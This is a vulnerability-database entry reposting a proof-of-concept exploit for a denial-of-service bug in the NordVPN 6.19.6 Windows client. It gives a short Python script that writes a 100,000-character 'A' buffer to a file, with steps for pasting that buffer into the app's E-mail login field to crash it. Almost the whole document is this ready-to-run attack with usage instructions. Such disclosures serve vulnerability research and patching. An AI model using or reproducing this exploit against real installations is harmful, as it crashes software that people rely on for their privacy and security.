发布 2019-02-11 漏洞条目

NordVPN 6.19.6 – Denial of Service (PoC)

Exploit Source

# -*- coding: utf-8 -*-

# Exploit Title: NordVPN 6.19.6 - Denial of Service (PoC)

# Date: 07/02/2019

# Author: Alejandra Sánchez

# Vendor Homepage: https://nordvpn.com/

# Software Link: https://downloads.nordcdn.com/apps/windows/10/NordVPN/latest/NordVPNSetup.exe

# Version: 6.19.6

# Tested on: Windows 10

# Proof of Concept:

# 1.- Run the python script, it will create a new file "PoC.txt"

# 2.- Copy the text from the generated PoC.txt file to clipboard

# 3.- Open NordVPN.exe

# 3.- Paste clipboard in 'E-mail' field

# 4.- Write '1234' in 'Password' field

# 5.- Clic on button -> Sign In

# 6.- Crashed

buffer = "\x41" * 100000

f = open ("PoC.txt", "w")

f.write(buffer)

f.close()

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